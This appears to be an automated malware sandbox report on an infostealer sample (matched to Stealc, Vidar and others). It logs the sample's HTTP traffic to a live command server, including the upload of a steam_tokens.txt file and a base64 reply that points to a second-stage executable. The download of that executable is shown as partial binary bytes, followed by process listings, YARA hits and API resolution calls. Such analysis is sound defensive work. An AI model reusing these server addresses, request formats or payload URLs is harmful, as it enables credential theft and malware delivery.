Apr 26, 2024 09:41:33.671771049 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBFCGIDAKECGCBGDBAF Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:34.171216965 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:34.180476904 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJK Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:34.671850920 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:34.676623106 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJECBGIJDGCAEBFIIECA Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:35.183053017 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:35.188667059 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJK Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:35.715954065 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:35.722537041 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIDAFHCBAKFCAAKFCFC Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:36.242111921 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:36.247919083 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJDAFIEHIEGDHIDGDGH Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:36.692910910 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:36.698375940 CEST	203	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHJECAAAFHIJKFIJEGC Host: 185.172.128.111 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:37.154849052 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:37.201258898 CEST	565	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIJJKKFHIEHJKECGCGC Host: 185.172.128.111 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 45 43 47 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 31 62 35 61 62 31 65 35 62 32 33 35 31 38 33 33 32 36 39 30 64 66 38 36 31 63 62 30 33 38 39 39 33 39 33 64 63 66 65 39 35 39 37 64 30 31 65 62 35 38 34 39 30 39 35 65 39 37 62 38 39 61 61 62 39 34 66 66 63 35 31 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 45 43 47 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 45 43 47 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 45 43 47 43 47 43 2d 2d 0d 0a Data Ascii: ------FIIJJKKFHIEHJKECGCGCContent-Disposition: form-data; name="token"61b5ab1e5b23518332690df861cb03899393dcfe9597d01eb5849095e97b89aab94ffc51------FIIJJKKFHIEHJKECGCGCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FIIJJKKFHIEHJKECGCGCContent-Disposition: form-data; name="file"------FIIJJKKFHIEHJKECGCGC--
Apr 26, 2024 09:41:37.581548929 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:37.646987915 CEST	205	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDHJEBFBFHJECAKFCAA Host: 185.172.128.111 Content-Length: 114959 Connection: Keep-Alive Cache-Control: no-cache
Apr 26, 2024 09:41:38.631491899 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 26, 2024 09:41:38.668652058 CEST	470	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBFCGIDAKECGCBGDBAF Host: 185.172.128.111 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 31 62 35 61 62 31 65 35 62 32 33 35 31 38 33 33 32 36 39 30 64 66 38 36 31 63 62 30 33 38 39 39 33 39 33 64 63 66 65 39 35 39 37 64 30 31 65 62 35 38 34 39 30 39 35 65 39 37 62 38 39 61 61 62 39 34 66 66 63 35 31 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 38 34 68 38 65 34 72 68 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 2d 2d 0d 0a Data Ascii: ------CFBFCGIDAKECGCBGDBAFContent-Disposition: form-data; name="token"61b5ab1e5b23518332690df861cb03899393dcfe9597d01eb5849095e97b89aab94ffc51------CFBFCGIDAKECGCBGDBAFContent-Disposition: form-data; name="message"84h8e4rh------CFBFCGIDAKECGCBGDBAF--
Apr 26, 2024 09:41:39.088670969 CEST	223	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Apr 2024 07:41:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 52 Connection: keep-alive Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 78 4e 7a 49 75 4d 54 49 34 4c 6a 49 77 4d 79 39 30 61 57 74 30 62 32 73 75 5a 58 68 6c 66 44 42 38 4d 48 78 38 Data Ascii: aHR0cDovLzE4NS4xNzIuMTI4LjIwMy90aWt0b2suZXhlfDB8MHx8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	185.172.128.203	80	7428	C:\Users\user\Desktop\YEnIrzZUUw.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 09:41:39.331545115 CEST	76	OUT	GET /tiktok.exe HTTP/1.1 Host: 185.172.128.203 Cache-Control: no-cache
Apr 26, 2024 09:41:39.571166992 CEST	1289	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 07:41:39 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 24 Apr 2024 21:15:46 GMT ETag: "85400-616de2c892480" Accept-Ranges: bytes Content-Length: 545792 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 63 08 c4 c7 27 69 aa 94 27 69 aa 94 27 69 aa 94 93 f5 5b 94 37 69 aa 94 93 f5 59 94 a0 69 aa 94 93 f5 58 94 38 69 aa 94 1c 37 a9 95 33 69 aa 94 1c 37 af 95 14 69 aa 94 1c 37 ae 95 05 69 aa 94 2e 11 39 94 22 69 aa 94 27 69 ab 94 7d 69 aa 94 8d 37 a3 95 25 69 aa 94 8d 37 55 94 26 69 aa 94 27 69 3d 94 26 69 aa 94 8d 37 a8 95 26 69 aa 94 52 69 63 68 27 69 aa 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 76 29 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 b0 06 00 00 b4 01 00 00 00 00 00 b6 80 05 00 00 10 00 00 00 c0 06 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 08 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 9c 07 00 28 00 00 00 00 f0 07 00 40 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 08 00 6c 80 00 00 b0 80 07 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 81 07 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 06 00 1c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 31 af 06 00 00 10 00 00 00 b0 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 aa e2 00 00 00 c0 06 00 00 e4 00 00 00 b4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 40 20 00 00 00 b0 07 00 00 0e 00 00 00 98 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 66 69 64 73 00 00 f8 01 00 00 00 e0 07 00 00 02 00 00 00 a6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 40 28 00 00 00 f0 07 00 00 2a 00 00 00 a8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 6c 80 00 00 00 20 08 00 00 82 00 00 00 d2 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 60 bc 47 00 e8 ab 56 05 00 68 ff be Data Ascii: MZ@!L!This program cannot be run in DOS mode.$c'i'i'i[7iYiX8i73i7i7i.9"i'i}i7%i7U&i'i=&i7&iRich'iPELv)f@@P(@( lp @.text1 `.rdata@@.data@ @.gfids@@.rsrc@(*@@.relocl @B`GVh
Apr 26, 2024 09:41:39.571208954 CEST	1289	IN	Data Raw: 46 00 e8 1c 73 05 00 59 c3 68 09 bf 46 00 e8 10 73 05 00 59 c3 68 13 bf 46 00 e8 04 73 05 00 59 c3 68 1d bf 46 00 e8 f8 72 05 00 59 c3 b9 a0 bd 47 00 e8 71 56 05 00 68 27 bf 46 00 e8 e2 72 05 00 59 c3 55 8b ec 83 ec 0c a1 6c b0 47 00 33 c5 89 45 Data Ascii: FsYhFsYhFsYhFrYGqVh'FrYUlG3EUEVUNEQWFPfyM3^{k]UVWFPFfEPy^]IpvGEUVFFPyEtj
Apr 26, 2024 09:41:39.571247101 CEST	1289	IN	Data Raw: 3e 00 75 64 6a 18 e8 06 69 05 00 8b f8 83 c4 04 89 7d 08 8b 4d 0c c7 45 fc 00 00 00 00 8b 51 04 85 d2 75 07 b9 a0 76 47 00 eb 0a 8b 4a 18 85 c9 75 03 8d 4a 1c 51 8d 4d ac e8 dc fb ff ff 8d 45 e0 c7 47 04 00 00 00 00 50 c7 07 58 c7 46 00 e8 90 58 Data Ascii: >udji}MEQuvGJuJQMEGPXFXMG>MdY_^]UAPEPX]US]3Vu+W3;uGtAEPPyXGEF;u_^[]
Apr 26, 2024 09:41:39.571285963 CEST	1289	IN	Data Raw: 01 8a 08 40 84 c9 75 f9 2b c2 3b f0 72 e3 5f 5e 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 53 8b dc 83 ec 08 83 e4 f8 83 c4 04 55 8b 6b 04 89 6c 24 04 8b ec 6a ff 68 55 ba 46 00 64 a1 00 00 00 00 50 53 81 ec 80 00 00 00 a1 6c b0 47 00 33 Data Ascii: @u+;r_^]SUkl$jhUFdPSlG3EVWPEd(~GGG0G)88z(\|G G4G`%Z/8G,QWEhGMEE~r>?u3QAu+QjEP
Apr 26, 2024 09:41:39.571324110 CEST	1289	IN	Data Raw: 74 13 8b c6 f0 0f c1 41 20 75 0a 8b 4d c4 33 d2 e8 33 f8 ff ff c7 45 c4 00 00 00 00 c6 45 fc 0c 8b 4d d4 85 c9 74 15 8b 01 8b 40 08 ff d0 8b c8 85 c9 74 08 8b 01 6a 01 8b 00 ff d0 8b 45 d8 85 c0 74 12 f0 0f c1 70 20 4e 75 0a 8b 4d d8 33 d2 e8 f3 Data Ascii: tA uM33EEMt@tjEtp NuM3EEMt@tj(p}GGGG31zG`%Z/GQWEhGMEE~r>?u3
Apr 26, 2024 09:41:39.571360111 CEST	1289	IN	Data Raw: 3b f3 ff ff c7 45 88 00 00 00 00 c6 45 fc 1c 8b 4d 98 85 c9 74 15 8b 01 8b 40 08 ff d0 8b c8 85 c9 74 08 8b 01 6a 01 8b 00 ff d0 8b 4d 9c 85 c9 74 13 8b c6 f0 0f c1 41 20 75 0a 8b 4d 9c 33 d2 e8 fa f2 ff ff c7 45 9c 00 00 00 00 c6 45 fc 1d 8b 4d Data Ascii: ;EEMt@tjMtA uM3EEMt@tjMtA uM3EEMt@tjMtA uM3xEEMt@tjE
Apr 26, 2024 09:41:39.571397066 CEST	1289	IN	Data Raw: 0f 00 00 00 c7 41 10 00 00 00 00 50 c6 01 00 e8 62 05 00 00 e8 cd 32 05 00 83 c4 18 83 7c 24 1c 00 76 57 ff 15 cc c9 47 00 8b 44 24 1c 40 50 6a 02 ff 15 c0 c9 47 00 8b f0 85 f6 74 3d 83 7c 24 20 10 8d 54 24 0c 8b 4c 24 1c 0f 43 54 24 0c 41 51 52 Data Ascii: APb2\|$vWGD$@PjGt=\|$ T$L$CT$AQRVGPGVGVjGVGD$ r@L$Pt$D$ D$D$\|$8D$$D$4CD$$GhG6'@'@#(@(@)@)@
Apr 26, 2024 09:41:39.571434975 CEST	1289	IN	Data Raw: 10 89 7e 10 72 0e 8b 06 5f c6 00 00 8b c6 5e 5b 5d c2 08 00 8b c6 5f 5e 5b c6 00 00 5d c2 08 00 8b c6 85 ff 74 0b 57 53 50 e8 5f 71 05 00 83 c4 0c 83 7e 14 10 89 7e 10 72 0f 8b 06 c6 04 38 00 8b c6 5f 5e 5b 5d c2 08 00 8b c6 c6 04 38 00 5f 8b c6 Data Ascii: ~r_^[]_^[]tWSP_q~~r8_^[]8_^[]hvG>US]VMWC;}+;G;uG99FF~rQj_^[]Qj_^[]9~s$vW
Apr 26, 2024 09:41:39.571471930 CEST	1289	IN	Data Raw: 3b 46 10 76 04 85 c0 75 9b 8b 4e 10 3b c1 77 19 89 46 10 83 7e 14 10 72 08 8b 0e c6 04 01 00 eb 14 8b ce c6 04 01 00 eb 0c 2b c1 8b ce 6a 00 50 e8 ff fd ff ff 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c2 0c 00 cc cc cc cc cc cc cc Data Ascii: ;FvuN;wF~r+jPMdY_^[]UAPuuuu;y]3]UjhpFdPSVWlG3PEdeuEv'^;v<+
Apr 26, 2024 09:41:39.571526051 CEST	1289	IN	Data Raw: e8 99 30 05 00 83 c4 04 8d 4d e4 e8 d5 2e 05 00 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b 4d ec 33 cd e8 93 43 05 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 56 8b f1 0f 57 c0 8d 46 04 50 c7 06 ac c1 46 00 66 0f d6 00 Data Ascii: 0M.MdY_^[M3C]UVWFPFfEPQLF^]VNt$F+PQFFF^Vt#F+PQFF^UjhFdPPVWl
Apr 26, 2024 09:41:39.810733080 CEST	1289	IN	Data Raw: c7 00 00 00 00 00 6a 01 8b 01 ff 10 85 f6 75 e9 6a 00 6a 00 c7 47 24 00 00 00 00 e8 9c 6b 05 00 cc cc 56 8b f1 8b 4e 40 85 c9 74 24 8b 46 48 2b c1 c1 f8 03 50 51 e8 b7 03 00 00 c7 46 40 00 00 00 00 c7 46 44 00 00 00 00 c7 46 48 00 00 00 00 8b 4e Data Ascii: jujjG$kVN@t$FH+PQF@FDFHN4t$F<+PQF4F8F<N$t$F,+PQF$F(F,Nt$F+PQ6FFFNt$F+PQFF

Target ID:	0
Start time:	09:40:58
Start date:	26/04/2024
Path:	C:\Users\user\Desktop\YEnIrzZUUw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\YEnIrzZUUw.exe"
Imagebase:	0x400000
File size:	267'776 bytes
MD5 hash:	814D30FD5617213CC9765F05BF823181
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2245990015.00000000041E5000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2246016069.00000000041FA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2245886678.0000000004190000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.2245886678.0000000004190000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2245886678.0000000004190000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000003.1690988607.0000000005B70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000003.1690988607.0000000005B70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:41:42
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:41:42
Start date:	26/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:41:42
Start date:	26/04/2024
Path:	C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe"
Imagebase:	0x530000
File size:	545'792 bytes
MD5 hash:	6C93FC68E2F01C20FB81AF24470B790C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 47%, ReversingLabs Detection: 51%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	09:41:43
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7428 -s 2204
Imagebase:	0x270000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	42

Executed Functions

Function 00416240 Relevance: 165.7, APIs: 110, Instructions: 674
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,041E3C08), ref: 0041625D
GetProcAddress.KERNEL32(74DD0000,041E3E68), ref: 00416275
GetProcAddress.KERNEL32(74DD0000,04200E08), ref: 0041628E
GetProcAddress.KERNEL32(74DD0000,04200EC8), ref: 004162A6
GetProcAddress.KERNEL32(74DD0000,04200E68), ref: 004162BE
GetProcAddress.KERNEL32(74DD0000,04200E20), ref: 004162D7
GetProcAddress.KERNEL32(74DD0000,042007B0), ref: 004162EF
GetProcAddress.KERNEL32(74DD0000,04200E38), ref: 00416307
GetProcAddress.KERNEL32(74DD0000,04200E80), ref: 00416320
GetProcAddress.KERNEL32(74DD0000,04200E98), ref: 00416338
GetProcAddress.KERNEL32(74DD0000,04200EB0), ref: 00416350
GetProcAddress.KERNEL32(74DD0000,041E4048), ref: 00416369
GetProcAddress.KERNEL32(74DD0000,041E3F28), ref: 00416381
GetProcAddress.KERNEL32(74DD0000,041E4208), ref: 00416399
GetProcAddress.KERNEL32(74DD0000,041E3F88), ref: 004163B2
GetProcAddress.KERNEL32(74DD0000,042076C0), ref: 004163CA
GetProcAddress.KERNEL32(74DD0000,042076A8), ref: 004163E2
GetProcAddress.KERNEL32(74DD0000,04200350), ref: 004163FB
GetProcAddress.KERNEL32(74DD0000,041E4088), ref: 00416413
GetProcAddress.KERNEL32(74DD0000,042076F0), ref: 0041642B
GetProcAddress.KERNEL32(74DD0000,04207678), ref: 00416444
GetProcAddress.KERNEL32(74DD0000,042076D8), ref: 0041645C
GetProcAddress.KERNEL32(74DD0000,04207690), ref: 00416474
GetProcAddress.KERNEL32(74DD0000,041E3FC8), ref: 0041648D
GetProcAddress.KERNEL32(74DD0000,04207648), ref: 004164A5
GetProcAddress.KERNEL32(74DD0000,04207630), ref: 004164BD
GetProcAddress.KERNEL32(74DD0000,04207660), ref: 004164D6
GetProcAddress.KERNEL32(74DD0000,04207390), ref: 004164EE
GetProcAddress.KERNEL32(74DD0000,04207588), ref: 00416506
GetProcAddress.KERNEL32(74DD0000,042075B8), ref: 0041651F
GetProcAddress.KERNEL32(74DD0000,042075D0), ref: 00416537
GetProcAddress.KERNEL32(74DD0000,04207408), ref: 0041654F
GetProcAddress.KERNEL32(74DD0000,042074F8), ref: 00416568
GetProcAddress.KERNEL32(74DD0000,04206848), ref: 00416580
GetProcAddress.KERNEL32(74DD0000,04207618), ref: 00416598
GetProcAddress.KERNEL32(74DD0000,04207330), ref: 004165B1
GetProcAddress.KERNEL32(74DD0000,041E3EE8), ref: 004165C9
GetProcAddress.KERNEL32(74DD0000,04207510), ref: 004165E1
GetProcAddress.KERNEL32(74DD0000,041E3E88), ref: 004165FA
GetProcAddress.KERNEL32(74DD0000,04207438), ref: 00416612
GetProcAddress.KERNEL32(74DD0000,042074E0), ref: 0041662A
GetProcAddress.KERNEL32(74DD0000,041E4068), ref: 00416643
GetProcAddress.KERNEL32(74DD0000,041E40E8), ref: 0041665B
LoadLibraryA.KERNEL32(042075A0,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 0041666D
LoadLibraryA.KERNEL32(04207420,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 0041667E
LoadLibraryA.KERNEL32(04207348,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 00416690
LoadLibraryA.KERNEL32(04207378,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166A2
LoadLibraryA.KERNEL32(04207540,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166B3
LoadLibraryA.KERNEL32(04207528,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166C5
LoadLibraryA.KERNEL32(04207558,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166D7
LoadLibraryA.KERNEL32(042073C0,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166E8
GetProcAddress.KERNEL32(75290000,041E3F08), ref: 0041670A
GetProcAddress.KERNEL32(75290000,042073A8), ref: 00416722
GetProcAddress.KERNEL32(75290000,04201240), ref: 0041673A
GetProcAddress.KERNEL32(75290000,04207570), ref: 00416753
GetProcAddress.KERNEL32(75290000,041E3F68), ref: 0041676B
